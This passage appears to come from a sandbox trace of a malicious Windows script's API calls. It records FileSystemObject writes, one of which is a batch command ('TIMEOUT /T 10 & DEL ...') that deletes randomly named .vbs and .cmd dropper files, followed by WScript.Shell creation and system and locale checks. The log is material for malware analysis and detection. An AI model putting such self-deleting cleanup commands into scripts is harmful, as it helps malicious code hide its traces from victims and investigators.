pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.723] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.723] SysReleaseString () returned 0x1 [0148.723] CoTaskMemFree (pv=0x249c8761520) [0148.723] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.723] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.723] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.723] SysAddRefString () returned 0x0 [0148.723] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.723] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.723] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.724] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b528, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.724] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b468, pBstrHelpFile=0x249c8758f60*="ꌰ졵ɉ") returned 0x0 [0148.724] malloc (_Size=0x8) returned 0x249c884eda0 [0148.724] malloc (_Size=0x72) returned 0x249c884a540 [0148.724] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.724] malloc (_Size=0xac) returned 0x249c884ee60 [0148.724] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.724] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.724] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.724] wcsncpy_s (in: _Destination=0x249ca4d453e, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.724] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.724] free (_Block=0x249c884a540) [0148.724] free (_Block=0x249c884eda0) [0148.724] free (_Block=0x249c884ee60) [0148.724] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.724] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.724] SysReleaseString () returned 0x1 [0148.724] CoTaskMemFree (pv=0x249c87617f0) [0148.725] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.725] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.725] CoTaskMemAlloc (cb=0x28) returned 0x249c8761610 [0148.725] SysAddRefString () returned 0x0 [0148.725] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.725] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.725] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.725] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876b468, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.725] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769678, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.725] malloc (_Size=0x8) returned 0x249c884edd0 [0148.725] malloc (_Size=0x14) returned 0x249ca4477d0 [0148.725] _snwprintf_s (in: _DstBuf=0x249ca4477d0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.725] malloc (_Size=0x4e) returned 0x249c884a540 [0148.725] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.725] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.725] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.725] wcsncpy_s (in: _Destination=0x249ca4d45e4, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.725] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.726] free (_Block=0x249ca4477d0) [0148.726] free (_Block=0x249c884edd0) [0148.726] free (_Block=0x249c884a540) [0148.726] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.726] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.726] SysReleaseString () returned 0x1 [0148.726] CoTaskMemFree (pv=0x249c8761610) [0148.726] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.726] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.726] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.726] SysAddRefString () returned 0x0 [0148.726] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.726] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.726] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.727] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769678, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.727] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ae68, pBstrHelpFile=0x249c8758f60*="鹰졵ɉ") returned 0x0 [0148.727] malloc (_Size=0x8) returned 0x249c884ece0 [0148.727] malloc (_Size=0x144) returned 0x249c884ee60 [0148.727] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0xa2, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\"") returned 161 [0148.727] malloc (_Size=0x17e) returned 0x249ca4d5de0 [0148.727] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0xbf, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.727] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0xbf, _Source="\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\"", _MaxCount=0xa1 | out: _Destination="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\"") returned 0x0 [0148.727] wcscat_s (in: _Destination="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\"", _SizeInWords=0xbf, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n") returned 0x0 [0148.727] wcsncpy_s (in: _Destination=0x249ca4d462c, _SizeInWords=0xbc, _Source="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n", _MaxCount=0xbb | out: _Destination="ITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n") returned 0x0 [0148.727] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.729] free (_Block=0x249c884ee60) [0148.729] free (_Block=0x249c884ece0) [0148.729] free (_Block=0x249ca4d5de0) [0148.729] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451970*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451970*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.730] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.730] SysReleaseString () returned 0x1 [0148.730] CoTaskMemFree (pv=0x249c8761b80) [0148.730] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.730] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="close", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10012) returned 0x0 [0148.730] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.730] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.730] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.730] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249ca4a1220 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc876ae68, pBstrHelpFile=0x249ca4a1220) returned 0x0 [0148.730] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10012, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249ca4a1220 | out: pBstrName=0xa3529de198*="Close a text stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8769178, pBstrHelpFile=0x249ca4a1220) returned 0x0 [0148.730] malloc (_Size=0x30) returned 0x249ca443560 [0148.730] _snwprintf_s (in: _DstBuf=0x249ca443560, _DstSizeInWords=0x18, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.Close(") returned 18 [0148.730] wcscat_s (in: _Destination="ITextStream.Close(", _SizeInWords=0x18, _Source=");\r\n" | out: _Destination="ITextStream.Close();\r\n") returned 0x0 [0148.730] wcsncpy_s (in: _Destination=0x249ca4d47a4, _SizeInWords=0x17, _Source="ITextStream.Close();\r\n", _MaxCount=0x16 | out: _Destination="ITextStream.Close();\r\n") returned 0x0 [0148.730] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.730] free (_Block=0x249ca443560) [0148.731] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10012, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=0x249c884d910, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=0x249c884d910, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.732] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.732] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddf80 | out: PolicyValue=0xa3529ddf80) returned 0 [0148.732] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0xa3529de548 | out: lpclsid=0xa3529de548*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0148.733] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddfb0 | out: PolicyValue=0xa3529ddfb0) returned 0 [0148.733] SysStringLen (param_1=0x0) returned 0x0 [0148.733] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddfb0 | out: PolicyValue=0xa3529ddfb0) returned 0 [0148.733] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529ddf80 | out: PolicyValue=0xa3529ddf80) returned 0 [0148.733] CoGetClassObject (in: rclsid=0xa3529de548*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ff9dbaa0660*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xa3529de510 | out: ppv=0xa3529de510*=0x249ca447830) returned 0x0 [0148.742] malloc (_Size=0x100) returned 0x249c884c120 [0148.743] GetVersionExA (in: lpVersionInformation=0xa3529dbfb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa3, dwMinorVersion=0xe5a8cbe1, dwBuildNumber=0x7ff9, dwPlatformId=0xdb980000, szCSDVersion="ù\x7f") | out: lpVersionInformation=0xa3529dbfb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0148.743] GetUserDefaultLCID () returned 0x411 [0148.743] GetLocaleInfoW (in: Locale=0x411, LCType=0x20000070, lpLCData=0xa3529dbb20, cchData=2 | out: lpLCData="\x02") returned 2 [0148.743] malloc (_Size=0x18) returned 0x249ca447830 [0148.744] malloc (_Size=0x50) returned 0x249c884a540 [0148.744] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xa3529de320, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0148.744] _strcmpi (_Str1="\\WScript.exe", _Str2="\\wscript.exe") returned 0 [0148.744] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7a9f00000 [0148.744] GetProcAddress (hModule=0x7ff7a9f00000, lpProcName=0x1) returned 0x7ff7a9f06300 [0148.744] free (_Block=0x249ca447830) [0148.744] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529dded0 | out: PolicyValue=0xa3529dded0) returned 0 [0148.745] QueryProtectedPolicy (in: PolicyGuid=0x7ff9dbaa0620, PolicyValue=0xa3529de0b0 | out: PolicyValue=0xa3529de0b0) returned 0 [0148.745] IUnknown:AddRef (This=0x249c86b1e00) returned 0x2 [0148.745] ITypeInfo:LocalGetIDsOfNames (This=0x249c86b1e00) returned 0x0 [0148.745] IUnknown:Release (This=0x249c86b1e00) returned 0x1 [0148.746] IUnknown:AddRef (This=0x249c86b1e00) returned 0x2 [0148.746] ITypeInfo:RemoteGetDocumentation (in: This=0x249c86b1e00, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0xa3529de190 | out: 